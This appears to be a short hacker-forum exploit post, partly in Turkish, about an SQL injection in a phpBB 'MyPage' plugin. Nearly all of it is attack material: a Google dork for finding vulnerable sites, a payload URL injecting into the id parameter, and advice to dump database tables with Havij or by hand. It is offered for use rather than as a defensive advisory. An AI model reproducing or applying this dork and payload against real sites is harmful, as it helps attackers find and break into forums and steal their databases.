MyPage plugin (phpBB) SQL Injection

The Levis Kardeşimin Buldugu Bug.


MyPage plugin (phpBB) SQL Injection(Tüm Versiyonlar)
====================================================
====================================================
VISIT http://www.turkhackteam.net
====================================================
# Exploit Title: SQL Injection PhpBB Plugin Mypage
# Google Dork: inurl:”mypage.php?id=”
# Date: 09/12/2011
# Author: TheLevis
# Version: Tüm Versyionlarda Geçerlidir.
# Tested on: localhost
====================================================
VISIT http://thelevis.wordpress.com
====================================================
[~] Exploit:
http://localhost/forum/
[~] http://localhost/forum/mypage.php?id=’a(SQL)
[~] sql hata almayı biliyorsunuzdur herhalde.
[~] Havij ile veya Manuel Olarak Tabloları Çekebilirsiniz.